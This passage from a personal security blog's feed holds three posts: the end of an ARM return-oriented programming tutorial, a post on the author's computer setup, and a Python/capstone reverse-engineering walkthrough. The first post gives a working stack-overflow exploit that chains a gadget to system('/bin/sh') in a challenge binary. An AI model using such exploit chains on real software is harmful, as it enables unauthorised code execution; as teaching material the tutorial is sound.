1243<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
1244Check it out, it might be just what you needed for that “aha!” moment :)</p>
1245
1246<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1247that should put things into perspective.</p>
1248
1249<h3 id="exploring-our-binary">Exploring our binary</h3>
1250
1251<p>Start by running it, and entering any arbitrary string. On entering a fairly
1252large string, say, “A” × 20, we
1253see a segmentation fault occur.</p>
1254
1255<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1256
1257<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1258
1259<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1260
1261<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
1262<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1263
1264<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1265
1266<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1267to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
1268never actually called.</p>
1269
1270<p>Disassembling the <code>gadget</code> function:</p>
1271
1272<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1273
1274<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1275which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1276instruction in the middle. This is a <strong>gadget</strong>.</p>
1277
1278<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1279arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
1280are used for this. So this gadget effectively allows us to pass arguments to
1281functions using <code>r0</code>, and subsequently jumping to them by passing its address
1282in <code>pc</code>. Neat.</p>
1283
1284<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1285
1286<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1287
1288<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1289So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1290function.</p>
1291
1292<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1293of exploitation by messing around with inputs.</p>
1294
1295<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
1296
1297<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1298screenshot.</p>
1299
1300<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1301
1302<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1303the <code>pc</code> has been overwritten with our input.
1304So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1305
1306<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1307control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1308
1309<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1310of the second instruction — <code>add r11, sp, #4</code>.
1311For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1312the address of <code>winner</code>. Note the endianness.</p>
1313
1314<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
1315</code></pre></div>
1316
1317<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1318
1319<p>The reason we don’t jump to the first instruction is because we want to control the stack
1320ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1321those out after <code>winner</code> is done executing and we will no longer control
1322where it jumps to.</p>
1323
1324<p>So that didn’t do much, just prints out a string “Nothing much here…”.
1325But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1326to do what we want (run a command, execute a shell, etc.).</p>
1327
1328<p>To do that, we’ll follow a multi-step process: </p>
1329
1330<ol>
1331<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1332<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1333<code>r0</code>.</li>
1334<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1335</ol>
1336
1337<p>The pseudo-code is something like this:</p>
1338
1339<pre><code>string = AAAABBBBCCCCDDDDEEEE
1340gadget = # addr of gadget
1341binsh = # addr of /bin/sh
1342system = # addr of system()
1343
1344print(string + gadget + binsh + system)
1345</code></pre>
1346
1347<p>Clean and mean.</p>
1348
1349<h3 id="the-exploit">The exploit</h3>
1350
1351<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1352It allows us to pack the bytes of addresses to the endianness of our choice.
1353It probably does a lot more, but who cares.</p>
1354
1355<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1356at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1357
1358<pre><code>(gdb) find &system, +9999999, "/bin/sh"
1359</code></pre>
1360
1361<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1362
1363<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1364found from the disassmblies from earlier. Here’s the final exploit code:</p>
1365
1366<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1367
1368<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1369<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
1370<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1371<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1372
1373<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1374</code></pre></div>
1375
1376<p>Honestly, not too far off from our pseudo-code :)</p>
1377
1378<p>Let’s see it in action:</p>
1379
1380<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1381
1382<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1383when the pipe closes, since there’s no input coming in from STDIN.
1384To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1385to the shell. Nifty trick.</p>
1386
1387<h3 id="conclusion">Conclusion</h3>
1388
1389<p>This was a fairly basic challenge, with everything laid out conveniently.
1390Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1391to acheive code execution.</p>
1392
1393<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1394]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
1395
1396<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
13978 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1398
1399<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1400I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1401
1402<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1403
1404<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
1405For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1406
1407<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
1408Great pair of headphones, although the ear cups need replacing.</p>
1409
1410<h3 id="and-the-software">And the software</h3>
1411
1412<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1413window manager, all riced. I now use whatever JustWorks™.</del></p>
1414
1415<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
1416running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1417
1418<p>Here’s a (riced) screenshot of my desktop. </p>
1419
1420<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1421
1422<p>Most of my work is done in either the browser, or the terminal.
1423My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1424a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1425My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1426I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1427
1428<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1429clean and a single command to drop into a Kali shell.</p>
1430
1431<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1432The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1433
1434<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1435]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1436
1437<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1438
1439<h3 id="setup">Setup</h3>
1440
1441<p>As the title suggests, you’re going to need a Python 3 interpreter before
1442anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1443in fact, have a Python 3 interpreter installed on your system, run</p>
1444
1445<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1446</code></pre></div>
1447
1448<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1449
1450<p>With that out of the way, let’s start with an example of a basic reversing
1451challenge.</p>
1452
1453<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1454
1455<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
1456<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
1457<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
1458
1459<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1460 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1461 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
1462 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1463 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1464 <span class="p">}</span>
1465 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
1466 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1467 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
1468 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
1469 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1470 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1471 <span class="p">}</span>
1472 <span class="k">else</span> <span class="p">{</span>
1473 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1474 <span class="p">}</span>
1475<span class="p">}</span>
1476</code></pre></div>
1477
1478<p>Compile it with GCC/Clang:</p>
1479
1480<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1481</code></pre></div>
1482
1483<h3 id="scripting">Scripting</h3>
1484
1485<p>For starters, let’s look at the different sections present in the binary.</p>
1486
1487<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1488
1489<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1490
1491<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1492 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1493 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1494 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1495</code></pre></div>
1496
1497<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1498
1499<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1500<span class="go">0x238 .interp</span>
1501<span class="go">0x254 .note.ABI-tag</span>
1502<span class="go">0x274 .note.gnu.build-id</span>
1503<span class="go">0x298 .gnu.hash</span>
1504<span class="go">0x2c0 .dynsym</span>
1505<span class="go">0x3e0 .dynstr</span>
1506<span class="go">0x484 .gnu.version</span>
1507<span class="go">0x4a0 .gnu.version_r</span>
1508<span class="go">0x4c0 .rela.dyn</span>
1509<span class="go">0x598 .rela.plt</span>
1510<span class="go">0x610 .init</span>
1511<span class="go">0x630 .plt</span>
1512<span class="go">0x690 .plt.got</span>
1513<span class="go">0x6a0 .text</span>
1514<span class="go">0x8f4 .fini</span>
1515<span class="go">0x900 .rodata</span>
1516<span class="go">0x924 .eh_frame_hdr</span>
1517<span class="go">0x960 .eh_frame</span>
1518<span class="go">0x200d98 .init_array</span>
1519<span class="go">0x200da0 .fini_array</span>
1520<span class="go">0x200da8 .dynamic</span>
1521<span class="go">0x200f98 .got</span>
1522<span class="go">0x201000 .data</span>
1523<span class="go">0x201010 .bss</span>
1524<span class="go">0x0 .comment</span>
1525<span class="go">0x0 .symtab</span>
1526<span class="go">0x0 .strtab</span>
1527<span class="go">0x0 .shstrtab</span>
1528</code></pre></div>
1529
1530<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1531
1532<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1533
1534<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1535
1536<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1537<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1538
1539<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1540 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1541 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1542 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1543 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
1544 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1545 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1546 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1547</code></pre></div>
1548
1549<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1550
1551<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1552<span class="go">0x6a0: xor ebp, ebp</span>
1553<span class="go">0x6a2: mov r9, rdx</span>
1554<span class="go">0x6a5: pop rsi</span>
1555<span class="go">0x6a6: mov rdx, rsp</span>
1556<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1557<span class="go">0x6ad: push rax</span>
1558<span class="go">0x6ae: push rsp</span>
1559<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1560<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1561<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1562<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1563<span class="go">0x6ca: hlt</span>
1564<span class="go">... snip ...</span>
1565</code></pre></div>
1566
1567<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1568
1569<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1570
1571<blockquote>
1572 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1573</blockquote>
1574
1575<p>To try and find these relocation entries, we write a third script.</p>
1576
1577<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1578
1579<span class="kn">import</span> <span class="nn">sys</span>
1580<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1581<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1582
1583<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1584 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1585 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1586 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1587 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
1588 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
1589 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1590 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
1591 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
1592 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
1593</code></pre></div>
1594
1595<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1596
1597<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1598<span class="go">.rela.dyn:</span>
1599<span class="go"> 0x200d98</span>
1600<span class="go"> 0x200da0</span>
1601<span class="go"> 0x201008</span>
1602<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1603<span class="go">**__libc_start_main 0x200fe0**</span>
1604<span class="go">__gmon_start__ 0x200fe8</span>
1605<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1606<span class="go">__cxa_finalize 0x200ff8</span>
1607<span class="go">stdin 0x201010</span>
1608<span class="go">.rela.plt:</span>
1609<span class="go">puts 0x200fb0</span>
1610<span class="go">printf 0x200fb8</span>
1611<span class="go">fgets 0x200fc0</span>
1612<span class="go">strcmp 0x200fc8</span>
1613<span class="go">malloc 0x200fd0</span>
1614</code></pre></div>
1615
1616<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib—libc-start-main-.html">linuxbase.org</a></p>
1617
1618<blockquote>
1619 <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1620</blockquote>
1621
1622<p>And its definition is like so</p>
1623
1624<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span>
1625<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span>
1626<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1627<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1628<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span>
1629<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1630</code></pre></div>
1631
1632<p>Looking back at our disassembly</p>
1633
1634<pre><code>0x6a0: xor ebp, ebp
16350x6a2: mov r9, rdx
16360x6a5: pop rsi
16370x6a6: mov rdx, rsp
16380x6a9: and rsp, 0xfffffffffffffff0
16390x6ad: push rax
16400x6ae: push rsp
16410x6af: lea r8, [rip + 0x23a]
16420x6b6: lea rcx, [rip + 0x1c3]
1643**0x6bd: lea rdi, [rip + 0xe6]**
16440x6c4: call qword ptr [rip + 0x200916]
16450x6ca: hlt
1646... snip ...
1647</code></pre>
1648
1649<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1650
1651<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1652
1653<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1654
1655<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1656
1657<pre><code>printf 0x650
1658fgets 0x660
1659strcmp 0x670
1660malloc 0x680
1661</code></pre>
1662
1663<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1664
1665<pre><code>0x7b2: mov edi, 0xa ; 10
16660x7b7: call 0x680 ; malloc
1667</code></pre>
1668
1669<p>The loop to populate the <code>*pw</code> string</p>
1670
1671<pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14]
16720x7d3: cdqe
16730x7d5: lea rdx, [rax - 1]
16740x7d9: mov rax, qword ptr [rbp - 0x10]
16750x7dd: add rax, rdx
16760x7e0: movzx eax, byte ptr [rax]
16770x7e3: lea ecx, [rax + 1]
16780x7e6: mov eax, dword ptr [rbp - 0x14]
16790x7e9: movsxd rdx, eax
16800x7ec: mov rax, qword ptr [rbp - 0x10]
16810x7f0: add rax, rdx
16820x7f3: mov edx, ecx
16830x7f5: mov byte ptr [rax], dl
16840x7f7: add dword ptr [rbp - 0x14], 1
16850x7fb: cmp dword ptr [rbp - 0x14], 8
16860x7ff: jle 0x7d0
1687</code></pre>
1688
1689<p>And this looks like our <code>strcmp()</code></p>
1690
1691<pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in
16920x847: mov rax, qword ptr [rbp - 8] ; *pw
16930x84b: mov rsi, rdx
16940x84e: mov rdi, rax
16950x851: call 0x670 ; strcmp
16960x856: test eax, eax ; is = 0?
16970x858: jne 0x868 ; no? jump to 0x868
16980x85a: lea rdi, [rip + 0xae] ; "haha yes!"
16990x861: call 0x640 ; puts
17000x866: jmp 0x874
17010x868: lea rdi, [rip + 0xaa] ; "nah dude"
17020x86f: call 0x640 ; puts
1703</code></pre>
1704
1705<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1706
1707<p><strong>Update</strong>: It’s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1708
1709<h3 id="conclusion">Conclusion</h3>
1710
1711<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1712
